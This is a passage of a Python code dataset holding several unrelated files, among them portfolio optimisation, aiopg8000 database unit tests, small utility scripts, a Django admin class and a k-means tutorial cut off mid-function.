returns: portfolio value at the end of the current day\n # devide on portfolio value at the end of the previous day.\n daily_gain = np.diff(port_capital, axis=0) / port_capital[:-1]\n # calculate standard deviation as it is considered as portfolio risk.\n std = np.std(daily_gain, ddof=1)*np.sqrt(252)\n # calculate sharpe ration\n sharpe = CAGR / std\n # add financial parameters to dictionary\n fin_indicators['sharpe'] = sharpe\n fin_indicators['CAGR'] = CAGR\n fin_indicators['st_dev'] = std\n\n return fin_indicators\n\n# To calculate financial metrics this function requires daily portfolio performance\n# for the period defined by start and end dates. So let's write such function\ndef port_capital_flow(closes_data, st_cap, weights):\n # define the shape of array with closes\n m_shape = closes_data.shape\n # initialize the empty array to store the amount of shares\n num_shares_data = np.zeros(m_shape)\n # initialize the empty array to store the portfolio perfomance\n capital_data = np.zeros(m_shape)\n # start loop to calculate every day values of portfolio`s positions.\n for m in range(capital_data.shape[0]):\n if m == 0:\n # if this is the first day of period: the initial value of portfolio\n # equals the starting capital\n cur_cap = st_cap\n # distribute the starting capital between stocks using the list of\n # weights \n capital_data[m, :] = weights*cur_cap \n # calculate the number of shares (that we will hold during current \n # period) based on distributed capital \n num_shares_data[0, :] = capital_data[m, :]/closes_data[m, :] \n else:\n # if this is not the first day of period: calculate portfolio\n # performance using the number of shares and daily stock closes \n capital_data[m, :] = num_shares_data[0, :]*closes_data[m, :]\n \n # summarize performance of all opened positions (columns) \n port_perform = np.sum(capital_data, axis=1)\n \n return port_perform\n\n# Additionally we need one more function that will a little bit correct the optimized weights.\ndef correct_weights(opt_weights, corr_value=0.001):\n # set to zeros weights that less than certain value (very little weights - as \n # in real stock market we would never buy 1 stock, if 1000 is normal size)\n idx_less = (opt_weights < corr_value)\n idx_over = (opt_weights >= corr_value)\n subs = np.sum(opt_weights[idx_less]) \n subs_s = subs/np.sum(idx_over*1)\n # distribute across non-zero stocks weights of those that set to zeros.\n opt_weights[idx_over] += subs_s \n opt_weights[idx_less] = 0\n subs_s = 1-np.sum(opt_weights)\n opt_weights[idx_over] += subs_s/np.sum(idx_over*1)\n \n return opt_weights\n\ndef init_weights(data, random=True):\n # def shape of array of closes to create the same shape array of weights\n shape = data.shape[1] \n if random:\n # create random weights\n weights = np.random.rand(shape).reshape(1, shape)\n weights = weights/np.sum(weights)\n else:\n # create equal weights\n weights = np.asarray([1/shape]*shape).reshape(1, shape)\n \n return weights\n\n# Random optimization\ndef algo_random_ports(tickers, closes_data, num_of_ports, stocks_in_port,\n start, end, print_info=True):\n # array to store values of label indicator calculated for each portfolio.\n # the values have to be added within the indexes of stocks (from \"tickers\" array)\n # that were included to portfolio.\n tickers_scores = np.zeros([1, len(tickers)])\n # array to store number of appearances of stocks in all created random portfolios.\n # +1 added within the indexes of stocks each time when certain stock is added to portfolio\n tickers_counts = np.ones([1, len(tickers)])\n\n # create loop for every stock\n for i in range(len(tickers)):\n # create list of indexes of all stock tickers\n cur_range = list(range(len(tickers)))\n # delete from range index of current stock (as it has to be added a priori)\n cur_range.remove(i)\n # start loop for creating p number of ports, where n number of random stocks plus current (i) stock\n for p in range(num_of_ports):\n # create n number of random indexes within range of number of stocks excluding\n # the index of \"current\" stock\n idx = np.random.choice(cur_range, stocks_in_port - 1, replace=False)\n # add index of \"current\" stock\n idx = np.append(idx, i)\n\n # slice data to get close prices of stocks from current portfolio\n data = closes_data[:, idx]\n # initialize equal weights\n weights = init_weights(data, random=False)\n # calculate current portfolio performance\n capital_flow = port_capital_flow(data, 10000, weights)\n # calculate desirable indicator\n fin_indicators = calc_fin_indicators(capital_flow, start, end)\n # update score and count arrays\n tickers_scores[0, idx] += fin_indicators['sharpe']\n tickers_counts[0, idx] += 1\n # create DataFrame to check the results\n rand_df = pd.DataFrame({'symbol': tickers,\n 'sharpe': tickers_scores.tolist()[0],\n 'number': tickers_counts.tolist()[0]})\n rand_df.to_csv('rand_df.csv', index=False)\n # create stocks rating\n tickers_scores = np.argsort(tickers_scores / tickers_counts)\n best_ind = tickers_scores[0, len(tickers) - stocks_in_port:]\n best_port = np.asarray(tickers)[best_ind]\n if print_info:\n print('Average appearance: ' + str(np.mean(tickers_counts)))\n print('StDev of appearance: ' + str(np.std(tickers_counts)))\n\n return best_port, best_ind\n\n# Random optimization with risk constraint.\ndef algo_random_ports_risk(tickers, closes_data, num_of_ports, stocks_in_port, \n start, end, max_risk, print_info=True):\n \n tickers_scores = np.zeros([1, len(tickers)]) \n tickers_counts = np.ones([1, len(tickers)])\n # array to store values of risk calculated for each portfolio where current stock appeared.\n tickers_risk = np.zeros([1, len(tickers)])\n \n for i in range(len(tickers)): \n cur_range = list(range(len(tickers))) \n cur_range.remove(i) \n for p in range(num_of_ports): \n idx = np.random.choice(cur_range, stocks_in_port - 1, replace=False) \n idx = np.append(idx, i)\n \n data = closes_data[:, idx] \n weights = init_weights(data, random=False)\n capital_flow = port_capital_flow(data, 10000, weights) \n fin_indicators = calc_fin_indicators(capital_flow, start, end)\n \n # update score, risk and count arrays\n tickers_scores[0, idx] += fin_indicators['sharpe']\n tickers_counts[0, idx] += 1 \n tickers_risk[0, idx] += fin_indicators['st_dev']\n \n rand_df_risk = pd.DataFrame({'symbol': tickers,\n 'sharpe': tickers_scores.tolist()[0],\n 'number': tickers_counts.tolist()[0],\n 'st_dev': tickers_risk.tolist()[0]}) \n rand_df_risk.to_csv('rand_df_risk.csv', index=False)\n # count average portfolio risk for each stock appeared at that portfolios \n tickers_aver_risk = tickers_risk / tickers_counts \n # create mask to filter stocks that have average risk more than maximum acceptable \n risk_idx = np.where(tickers_aver_risk < max_risk)\n # filter tickers with risk filter indexes \n f_tickers = np.asarray(tickers).reshape(1, len(tickers))[:, risk_idx[1]][0] \n # filter closes data with risk filter indexes\n f_closes_data = closes_data[:, risk_idx[1]]\n # check if number of tickers after filtering by risk is more then required \n # number of stocks in portfolio\n if len(f_tickers)>stocks_in_port:\n # start random algorithm to define best portfolio allocation using limit_risk stocks\n best_port, best_ind = algo_random_ports(f_tickers, f_closes_data, num_of_ports, \n stocks_in_port, pr_start_date,\n pr_end_date, print_info)\n # if the filter by risk return more stocks then required - return True\n return True, best_port, best_ind, f_tickers, f_closes_data\n else:\n # if the filter by risk return less stocks then required - return False\n best_port = ''\n best_ind = ''\n return False, best_port, best_ind, f_tickers, f_closes_data\n\n# define elbow stop\ndef elbow_method(data, early_stop_k=1):\n # list to store 'elbow' values of each step\n elbow_signals = []\n\n # initialize early stop variable\n early_stop = 0\n\n # start calculation for each step starting from the second\n for i in range(1, len(data) - 1):\n # prevent division by zero\n if data[i - 1] != data[i]:\n # calculate current step elbow signal\n cur_signal = (data[i] - data[i + 1]) / (data[i - 1] - data[i])\n if i != 1:\n # check if current step signal lower then previous\n if cur_signal <= elbow_signals[-1]:\n # if lower - add to list\n elbow_signals.append(cur_signal)\n else:\n # if not lower - check if early stop value doesn't equal base value\n if early_stop != early_stop_k:\n # if not - add 1 to early stop and store signal to list\n early_stop += 1\n elbow_signals.append(cur_signal)\n else:\n # if equal - stop calculation\n break\n else:\n # if i equal 1 - simpy store signal because nothing to compare\n elbow_signals.append(cur_signal)\n else:\n # if data[i-1] == data[i] (denominator is zero)\n # check if early stop value doesn't equal base value\n if early_stop != early_stop_k:\n # if not add one to it\n early_stop += 1\n else:\n # if equal - stop calculation\n break\n # return the number of step at which we stop\n return i\n\n# run loops with different number of stocks used in optimization\ndef random_optimization(tickers, data, random_ports, tickers_in_port,\n pr_start_date, pr_end_date, risk_limit, print_info=False):\n\n\n print('\\n *****Random algorithm*****')\n all_tickers = []\n len_tickers = []\n elbow_signals = []\n for ports in random_ports:\n success, best_port_risk, best_ind_risk, \\\n f_tickers, f_closes_data = algo_random_ports_risk(tickers, data,\n ports, tickers_in_port,\n pr_start_date, pr_end_date,\n risk_limit, print_info)\n if success:\n all_tickers.extend(best_port_risk)\n all_tickers = list(set(all_tickers))\n len_tickers.append(len(all_tickers))\n if len(len_tickers) > 2:\n elbow_signals.append(elbow_method(len_tickers))\n if len(elbow_signals) > 1 and elbow_signals[-1] == elbow_signals[-2]:\n r_closes = f_closes_data[:, best_ind_risk]\n r_equal_weights = init_weights(r_closes, random=False)\n r_port_perform = port_capital_flow(r_closes, 100000, r_equal_weights)\n r_port_params = calc_fin_indicators(r_port_perform, pr_start_date, pr_end_date)\n return r_port_params, best_port_risk\n else:\n return 'There are less than required stocks after risk filtering', '_'\n\nurl = 'https://raw.githubusercontent.com/umachkaalex/stockmarket/master/pr_data_closes.csv'\n# load previous month data\nall_pr_data_closes = pd.read_csv(url)\n# delete columns (stocks) with zero closes\nall_pr_data_closes = all_pr_data_closes.replace(0, pd.np.nan).dropna(axis=1)\n# create list of symbols 'Date' column\nall_pr_tickers = all_pr_data_closes.columns.tolist()[:500]\n# convert dataframes to numpy arrays without 'Date' column\nall_pr_data_closes = all_pr_data_closes.values[:, :500]\n# set start/end dates for previous and next periods\npr_start_date = pd.to_datetime('11/30/2017')\npr_end_date = pd.to_datetime('12/31/2017')\n# the list of number of random ports to use in random algorithm\nrandom_ports = [10, 20, 40, 70, 110, 160, 220, 290, 370, 460, 560, 670]\n\nfin_results, portfolio = random_optimization(all_pr_tickers, all_pr_data_closes, random_ports,\n 20, pr_start_date, pr_end_date, 0.15, print_info=False)\nprint(fin_results)\nprint(portfolio)\n","sub_path":"random_algorithm.py","file_name":"random_algorithm.py","file_ext":"py","file_size_in_byte":13797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"391541975","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 5 20:54:44 2018\n\n@author: mishr\n\"\"\"\n#GnuPG encrypting desktop files \n#Detect files from desktop and handle errors\n'''\nto save all the text file in my documents folder, not on my desktop\n\n'''\nimport os.path\n\nsave_path = '..\\KakuWork'\n\nname_of_file = input(\"What is the name of the file: \")\n\n\ncompleteName = os.path.join(save_path, name_of_file+\".txt\") \n\nfile1 = open(completeName, \"w\")\n\ntoFile = input(\"Write what you want into the field\")\n\nfile1.write(toFile)\n\nfile1.close()\n\n\n\n#check if file exists with OS Path\n\n\nimport os\nexists = os.path.isfile('/path/to/file')\nif exists:\n # Store configuration file values\n print(12)\nelse:\n # Keep presets\n print(11)\n#encrypt file\n '''\nimport gnupg\ngnupg.GPG(gnupghome='/path/to/home/directory')\ninput_data = gng.gng_key_input(key_type=\"RSA\", key_length=1024)\nkey = gng.gen_key(input_data)\n#by dafault input_data creates RSA Key of 1024bits. real name = Autogenerated key\n#email id as @hostname.com\n'''\n","sub_path":"fileEnctyption.py","file_name":"fileEnctyption.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"384684333","text":"import unittest\nimport os\nimport time\nimport aiopg8000\nimport datetime\nfrom .connection_settings import db_connect, async_test\nfrom sys import exc_info\nfrom aiopg8000.six import b, IS_JYTHON\nfrom distutils.version import LooseVersion\nimport asyncio\n\n\n# DBAPI compatible interface tests\nclass Tests(unittest.TestCase):\n @async_test\n def setUp(self):\n self.db = yield from aiopg8000.connect(**db_connect)\n # Jython 2.5.3 doesn't have a time.tzset() so skip\n if not IS_JYTHON:\n os.environ['TZ'] = \"UTC\"\n #time.tzset()\n\n try:\n c = yield from self.db.cursor()\n try:\n yield from c.execute(\"DROP TABLE t1\")\n except aiopg8000.DatabaseError:\n e = exc_info()[1]\n # the only acceptable error is:\n self.assertEqual(e.args[1], '42P01') # table does not exist\n yield from self.db.rollback()\n yield from c.execute(\n \"CREATE TEMPORARY TABLE t1 \"\n \"(f1 int primary key, f2 int not null, f3 varchar(50) null)\")\n yield from c.execute(\n \"INSERT INTO t1 (f1, f2, f3) VALUES (%s, %s, %s)\",\n (1, 1, None))\n yield from c.execute(\n \"INSERT INTO t1 (f1, f2, f3) VALUES (%s, %s, %s)\",\n (2, 10, None))\n yield from c.execute(\n \"INSERT INTO t1 (f1, f2, f3) VALUES (%s, %s, %s)\",\n (3, 100, None))\n yield from c.execute(\n \"INSERT INTO t1 (f1, f2, f3) VALUES (%s, %s, %s)\",\n (4, 1000, None))\n yield from c.execute(\n \"INSERT INTO t1 (f1, f2, f3) VALUES (%s, %s, %s)\",\n (5, 10000, None))\n yield from self.db.commit()\n finally:\n yield from c.yield_close()\n\n @async_test\n def tearDown(self):\n yield from self.db.yield_close()\n\n @async_test\n def testParallelQueries(self):\n try:\n c1 = yield from self.db.cursor()\n c2 = yield from self.db.cursor()\n\n yield from c1.execute(\"SELECT f1, f2, f3 FROM t1\")\n while 1:\n row = yield from c1.fetchone()\n if row is None:\n break\n f1, f2, f3 = row\n yield from c2.execute(\"SELECT f1, f2, f3 FROM t1 WHERE f1 > %s\", (f1,))\n while 1:\n row = yield from c2.fetchone()\n if row is None:\n break\n f1, f2, f3 = row\n finally:\n yield from c1.yield_close()\n yield from c2.yield_close()\n\n yield from self.db.rollback()\n\n @async_test\n def testRollback(self):\n try:\n aiopg8000.paramstyle = \"pyformat\"\n c = yield from self.db.cursor()\n\n yield from c.execute(\"SELECT f1, f2, f3 FROM t1 LIMIT 1\")\n\n f1,f2_0,f3 = yield from c.fetchone()\n\n \n f2_1 = f2_0 + 1\n\n\n yield from c.execute(\"UPDATE t1 SET f2=%(f2)s WHERE f1=%(f1)s\", {'f1': f1, 'f2': f2_1})\n\n yield from c.execute(\"SELECT f2 FROM t1 WHERE f1=%(f1)s\", {'f1': f1})\n\n f2_2, = yield from c.fetchone()\n\n self.assertEqual(f2_1,f2_2)\n\n yield from self.db.rollback()\n\n yield from c.execute(\"SELECT f2 FROM t1 WHERE f1=%(f1)s\", {'f1': f1})\n\n f2_3, = yield from c.fetchone()\n\n self.assertEqual(f2_0,f2_3)\n\n finally:\n yield from c.yield_close()\n\n @async_test\n def testQmark(self):\n orig_paramstyle = aiopg8000.paramstyle\n try:\n aiopg8000.paramstyle = \"qmark\"\n c1 = yield from self.db.cursor()\n yield from c1.execute(\"SELECT f1, f2, f3 FROM t1 WHERE f1 > ?\", (3,))\n while 1:\n row = yield from c1.fetchone()\n if row is None:\n break\n f1, f2, f3 = row\n yield from self.db.rollback()\n finally:\n aiopg8000.paramstyle = orig_paramstyle\n yield from c1.yield_close()\n\n @async_test\n def testNumeric(self):\n orig_paramstyle = aiopg8000.paramstyle\n try:\n aiopg8000.paramstyle = \"numeric\"\n c1 = yield from self.db.cursor()\n yield from c1.execute(\"SELECT f1, f2, f3 FROM t1 WHERE f1 > :1\", (3,))\n while 1:\n row = yield from c1.fetchone()\n if row is None:\n break\n f1, f2, f3 = row\n yield from self.db.rollback()\n finally:\n aiopg8000.paramstyle = orig_paramstyle\n yield from c1.yield_close()\n\n @async_test\n def testNamed(self):\n orig_paramstyle = aiopg8000.paramstyle\n try:\n aiopg8000.paramstyle = \"named\"\n c1 = yield from self.db.cursor()\n yield from c1.execute(\n \"SELECT f1, f2, f3 FROM t1 WHERE f1 > :f1\", {\"f1\": 3})\n while 1:\n row = yield from c1.fetchone()\n if row is None:\n break\n f1, f2, f3 = row\n yield from self.db.rollback()\n finally:\n aiopg8000.paramstyle = orig_paramstyle\n yield from c1.yield_close()\n\n @async_test\n def testFormat(self):\n orig_paramstyle = aiopg8000.paramstyle\n try:\n aiopg8000.paramstyle = \"format\"\n c1 = yield from self.db.cursor()\n yield from c1.execute(\"SELECT f1, f2, f3 FROM t1 WHERE f1 > %s\", (3,))\n while 1:\n row = yield from c1.fetchone()\n if row is None:\n break\n f1, f2, f3 = row\n yield from self.db.commit()\n finally:\n aiopg8000.paramstyle = orig_paramstyle\n yield from c1.yield_close()\n\n @async_test\n def testPyformat(self):\n orig_paramstyle = aiopg8000.paramstyle\n try:\n aiopg8000.paramstyle = \"pyformat\"\n c1 = yield from self.db.cursor()\n yield from c1.execute(\n \"SELECT f1, f2, f3 FROM t1 WHERE f1 > %(f1)s\", {\"f1\": 3})\n while 1:\n row = yield from c1.fetchone()\n if row is None:\n break\n f1, f2, f3 = row\n yield from self.db.commit()\n finally:\n aiopg8000.paramstyle = orig_paramstyle\n yield from c1.yield_close()\n\n @async_test\n def testArraysize(self):\n try:\n c1 = yield from self.db.cursor()\n c1.arraysize = 3\n yield from c1.execute(\"SELECT * FROM t1\")\n retval = yield from c1.fetchmany()\n self.assertEqual(len(retval), c1.arraysize)\n finally:\n yield from c1.yield_close()\n yield from self.db.commit()\n\n def testDate(self):\n val = aiopg8000.Date(2001, 2, 3)\n self.assertEqual(val, datetime.date(2001, 2, 3))\n\n def testTime(self):\n val = aiopg8000.Time(4, 5, 6)\n self.assertEqual(val, datetime.time(4, 5, 6))\n\n def testTimestamp(self):\n val = aiopg8000.Timestamp(2001, 2, 3, 4, 5, 6)\n self.assertEqual(val, datetime.datetime(2001, 2, 3, 4, 5, 6))\n\n def testDateFromTicks(self):\n if IS_JYTHON:\n return\n\n val = aiopg8000.DateFromTicks(1173804319)\n self.assertEqual(val, datetime.date(2007, 3, 13))\n\n def testTimeFromTicks(self):\n if IS_JYTHON:\n return\n\n val = aiopg8000.TimeFromTicks(1173804319)\n self.assertEqual(val, datetime.time(16, 45, 19))\n\n def testTimestampFromTicks(self):\n if IS_JYTHON:\n return\n\n val = aiopg8000.TimestampFromTicks(1173804319)\n self.assertEqual(val, datetime.datetime(2007, 3, 13, 16, 45, 19))\n\n def testBinary(self):\n v = aiopg8000.Binary(b(\"\\x00\\x01\\x02\\x03\\x02\\x01\\x00\"))\n self.assertEqual(v, b(\"\\x00\\x01\\x02\\x03\\x02\\x01\\x00\"))\n self.assertTrue(isinstance(v, aiopg8000.BINARY))\n\n @async_test\n def testRowCount(self):\n try:\n c1 = yield from self.db.cursor()\n yield from c1.execute(\"SELECT * FROM t1\")\n\n # Before PostgreSQL 9 we don't know the row count for a select\n if self.db._server_version > LooseVersion('8.0.0'):\n self.assertEqual(5, c1.rowcount)\n\n yield from c1.execute(\"UPDATE t1 SET f3 = %s WHERE f2 > 101\", (\"Hello!\",))\n self.assertEqual(2, c1.rowcount)\n\n yield from c1.execute(\"DELETE FROM t1\")\n self.assertEqual(5, c1.rowcount)\n finally:\n yield from c1.yield_close()\n yield from self.db.commit()\n\n @async_test\n def testFetchMany(self):\n try:\n cursor = yield from self.db.cursor()\n cursor.arraysize = 2\n yield from cursor.execute(\"SELECT * FROM t1\")\n self.assertEqual(2, len((yield from cursor.fetchmany())))\n self.assertEqual(2, len((yield from cursor.fetchmany())))\n self.assertEqual(1, len((yield from cursor.fetchmany())))\n self.assertEqual(0, len((yield from cursor.fetchmany())))\n finally:\n yield from cursor.yield_close()\n yield from self.db.commit()\n\n @async_test\n def testIterator(self):\n from warnings import filterwarnings\n filterwarnings(\"ignore\", \"DB-API extension cursor.next()\")\n filterwarnings(\"ignore\", \"DB-API extension cursor.__iter__()\")\n\n try:\n cursor = yield from self.db.cursor()\n yield from cursor.execute(\"SELECT * FROM t1 ORDER BY f1\")\n f1 = 0\n for row in cursor:\n next_f1 = row[0]\n assert next_f1 > f1\n f1 = next_f1\n except:\n yield from cursor.yield_close()\n\n yield from self.db.commit()\n\n # Vacuum can't be run inside a transaction, so we need to turn\n # autocommit on.\n @async_test\n def testVacuum(self):\n self.db.autocommit = True\n try:\n cursor = yield from self.db.cursor()\n yield from cursor.execute(\"vacuum\")\n finally:\n yield from cursor.yield_close()\n\n # If autocommit is on and we do an operation that returns more rows than\n # the cache holds, make sure exception raised.\n \n def testAutocommitMaxRows(self):\n\n @async_test\n def test_wrapper():\n self.db.autocommit = True\n try:\n cursor = yield from self.db.cursor()\n\n yield from cursor.execute(\"select generate_series(1, \" +\n str(aiopg8000.core.Connection._row_cache_size + 1) + \")\")\n\n finally:\n yield from cursor.yield_close()\n\n self.assertRaises(aiopg8000.InterfaceError, test_wrapper)\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"aiopg8000/tests/test_dbapi.py","file_name":"test_dbapi.py","file_ext":"py","file_size_in_byte":10970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"439662636","text":"#! /usr/bin/python3\nimport sys\n\ndef construct(path):\n static = {}\n with open(path) as fi:\n for line in fi:\n _, count = line.strip().split('\\t')\n try:\n count = int(count)\n except:\n continue\n num = static.setdefault(count, 0)\n static[count] = num + 1\n return static\n\ndef get_percent(static):\n total = sum(static.values())\n for count in static.keys():\n static[count] /= total\n return static\n\ndef get_cdf(static):\n cdf = {}\n percent_cul = 0.0\n for count in sorted(static.keys()):\n cdf[count] = static[count] + percent_cul\n percent_cul = cdf[count]\n return cdf\n\ndef main():\n path = sys.argv[1]\n static = construct(path)\n with open(sys.argv[2], \"w\") as w_fi:\n for key in sorted(static.keys()):\n w_fi.write(\"{0}:{1}\\n\".format(key, static[key]))\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"practical_fm/ffmpoly2/scripts/static.py","file_name":"static.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"320722034","text":"class Solution:\n def groupThePeople(groupSizes):\n IDs = []\n result = []\n groupTypes = {}\n for i in range(len(groupSizes)):\n IDs.append(i)\n cont = True\n i = 0\n for x in groupSizes:\n if x not in groupTypes:\n groupTypes[x] = 1\n else:\n groupTypes[x] += 1\n groups = {}\n n = 0\n for x,n in enumerate(groupTypes):\n groups[n] = groupTypes[n]/n # how many of each group there are\n n += 1\n for n,i in enumerate(groups):\n print(i)\n print(groups[i])\n for p in range(int(groups[i])):\n theseIDs = []\n for j in range(i):\n theseIDs.append(IDs[0])\n IDs.pop(0)\n result.append(theseIDs)\n print(groups)\n return result\n\nsol = Solution\nprint(sol.groupThePeople([3,3,3,3,3,1,3]))\n\n\"\"\"\nInput:[3,3,3,3,3,1,3]\nOutput:[[0,1,2],[3,4,5],[6]]\nExpected:[[5],[0,1,2],[3,4,6]]\n\"\"\"","sub_path":"sub square diff.py","file_name":"sub square diff.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"347055098","text":"# python version 3.5x\r\nimport os\r\nimport argparse\r\nimport dataToVis as dv\r\nimport numpy as np\r\n\r\nif __name__=='__main__':\r\n\tparser = argparse.ArgumentParser()\r\n\tparser.add_argument('datafile', type=str, help=\"Location of DataFile\")\r\n\tparser.add_argument('savePath', type=str, help=\"directory path to save html and visualizations\")\r\n\targs = parser.parse_args()\r\n\tdatafilename = args.datafile\r\n\tbaseHtmlPath = args.savePath\r\n\t\r\n\tif not os.path.exists(baseHtmlPath):\r\n\t\tos.makedirs(baseHtmlPath)\r\n\tif not os.path.exists(baseHtmlPath+\"/resource\"):\r\n\t\tos.makedirs(baseHtmlPath+\"/resource\")\r\n\t\t\r\n\t_dv = dv.DataToVis()\r\n\t#print((datafilename))\r\n\tarrColumn, arrData, pdDataset = _dv.csvReadToDatasets(datafilename)\r\n\tkey = _dv.DM_KeyChecker(datafilename)\r\n\td, m, g = _dv.dim_measure_permutations(key)\r\n\t#print(g)\r\n\t_dv.visChecker(d, m, g, arrColumn, arrData, pdDataset)\r\n\tarrVisType = _dv.printOptimizer()\r\n\t\r\n\t_dv.visualizationToHTMLsAndPngs(arrVisType, baseHtmlPath+\"/resource\", arrColumn, arrData, pdDataset)\r\n\tfile, vis = _dv.getFilename_Visfunc()\r\n\t#print(file)\r\n\t#print(_dv.VIS.dummyarray)\r\n\t\r\n\tnewfile=[]\r\n\tfor i in range(len(file)):\r\n\t\tdiffflag = False\r\n\t\tfor j in range(len(_dv.VIS.dummyarray)):\r\n\t\t\tif file[i]==_dv.VIS.dummyarray[j] :\r\n\t\t\t\tdiffflag = True\r\n\t\tif diffflag==False:\r\n\t\t\tnewfile.append(file[i])\r\n\t#print(newfile)\r\n\t_dv.GenTotalVisHtml(newfile, baseHtmlPath)","sub_path":"plotly_visualization/v2/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"299581828","text":"import os\n\ndef load_data():\n\t# data_dir = '/home/kpberry/Desktop/iada_pdfs/originals/'\n\tdata_dir = '/home/kpberry/Desktop/iada_pdfs/test/'\n\tprint('start')\n\tdocuments = []\n\tfor file in os.listdir(data_dir):\n\t\tif file.endswith('.txt'):\n\t\t\twith open(data_dir + file, 'r') as in_file:\n\t\t\t\tlines = ''.join([line for line in in_file])\n\t\t\t\tdocuments.append(lines)\n\treturn documents","sub_path":"views/public/pythons/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"599578860","text":"from django.contrib import admin\nfrom django.utils.html import strip_tags\nfrom django.utils.text import Truncator\nfrom django.template.defaultfilters import striptags\n\nfrom flatblocks.models import FlatBlock\n\n\nclass FlatBlockAdmin(admin.ModelAdmin):\n \"\"\" Project-specific alterations -- no headers, no adding, fixed slugs. \"\"\"\n ordering = ['slug', ]\n list_display = ('slug', 'content_summary')\n search_fields = ('slug', 'content')\n readonly_fields = ('slug',)\n fields = ('slug', 'content')\n actions = None\n\n def content_summary(self, block):\n if not block.content:\n return ''\n return Truncator(strip_tags(block.content)).words(25)\n\n def has_add_permission(self, request):\n return False\n\nadmin.site.register(FlatBlock, FlatBlockAdmin)\n","sub_path":"flatblocks/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"625737631","text":"\n\n#calss header\nclass _FLUORIDE():\n\tdef __init__(self,): \n\t\tself.name = \"FLUORIDE\"\n\t\tself.definitions = [u'a chemical substance sometimes added to water or toothpaste (= substance for cleaning teeth) in order to help keep teeth healthy']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_fluoride.py","file_name":"_fluoride.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"164789435","text":"import random\n\n\ndef get_choices():\n player_choice = input(\"Enter a choice (rock, paper, scissors): \")\n options = [\"rock\", \"paper\", \"scissors\"]\n computer_choice = random.choice(options)\n choices = {\"player\": player_choice, \"computer\": computer_choice}\n return choices\n\ndef check_win(player, computer):\n print(f\"You chose {player}, computer chose {computer}\")\n if player == computer:\n return \"It's a tie!\"\n elif player == \"rock\":\n if computer == \"scissors\":\n return \"Rock smashes scissors! You win!\" \n else:\n return \"Paper covers rock! You lose.\"\n \n elif player == \"paper\":\n if computer == \"rock\": \n return \"Paper covers rock! You win!\" \n else:\n return \"Scissors cuts paper! You lose.\"\n \n elif player == \"scissors\":\n if computer == \"paper\": \n return \"Scissors cuts paper! You win!\" \n else:\n return \"Rock smashes scissors! You lose.\"\n\nchoices = get_choices()\nresult = check_win(choices[\"player\"], choices[\"computer\"])\nprint(result)\n","sub_path":"game1.py","file_name":"game1.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"646254700","text":"import random\nimport math\ntest_scores = [23, 56, 12, 44, 87, 45, 76, 98, 25, 34, 76, 12, 78, 98, 78, 90, 89, 45, 77, 22, 11]\n\n# data will be in array\n# each data \"point\" will also be an array, with each component a \"feature\"\n# test scores [[23], [67] ...]\n# earthquaks [[20.282, -156.611] [59.808, -152.538] ... ]\nd = [[score] for score in test_scores]\n\n\n# centroid will be a list of data points\n# (that is a subset of above)\n# test scores [[23], [67] ...] (but only k elements)\ndef create_centroids(k, data):\n used_indexes = []\n centroids = []\n\n while len(centroids) < k:\n random_index = random.randint(0, len(data) - 1)\n if random_index not in used_indexes:\n centroids.append(data[random_index])\n used_indexes.append(random_index)\n return centroids\nprint(create_centroids(5, d))\n\ndef create_centroids(k, data):\n return random.sample(data, k)\n\nprint(create_centroids(5, d))\n\ndef distance(p1, p2):\n \"\"\" euclidean distance\n\n p1 is an array of features\n p2 is an array of features\n p1 and p2 should be the same size!\n \"\"\"\n sum_all = 0\n for i, value in enumerate(p1):\n diff_squared = (value - p2[i]) ** 2\n sum_all += diff_squared\n return math.sqrt(sum_all)\n\nprint(distance((5, 0), (2, 12)))\n\n\ndef distance(p1, p2):\n sum_all = 0\n for value1, value2 in zip(p1, p2):\n diff_squared = (value1 - value2) ** 2\n sum_all += diff_squared\n\n return math.sqrt(sum_all)\n\nprint(distance((5, 0), (2, 12)))\n\ndef distance(p1, p2):\n return math.sqrt(sum([(a - b) ** 2 for a, b in zip(p1, p2)]))\n\nprint(distance((5, 0), (2, 12)))\n\ndef initialize_empty_clusters(k):\n \"\"\" initialize clusters\n\n create a list of empty lists, with len k\n \"\"\"\n clusters = []\n for i in range(k):\n clusters.append([])\n return clusters\n\nprint(initialize_empty_clusters(5))\n\ndef initialize_empty_clusters(k):\n return [[] for i in range(k)]\n\nprint(initialize_empty_clusters(5))\n\ndef calculate_distances(data_point, centroids):\n \"\"\" generate a list of distances \n \n retursn a list of distances from this data ponit to each centroid\n ... should be same length as centroids!\n \"\"\"\n\n distances = []\n for centroid in centroids:\n distances.append(distance(data_point, centroid))\n return distances\n\nprint(calculate_distances([12], [[5],[10],[15]]))\n\ndef calculate_distances(data_point, centroids):\n return list(map(lambda centroid: distance(data_point, centroid), centroids)) \n\nprint(calculate_distances([12], [[5],[10],[15]]))\n\ndef create_clusters(k, centroids, data):\n 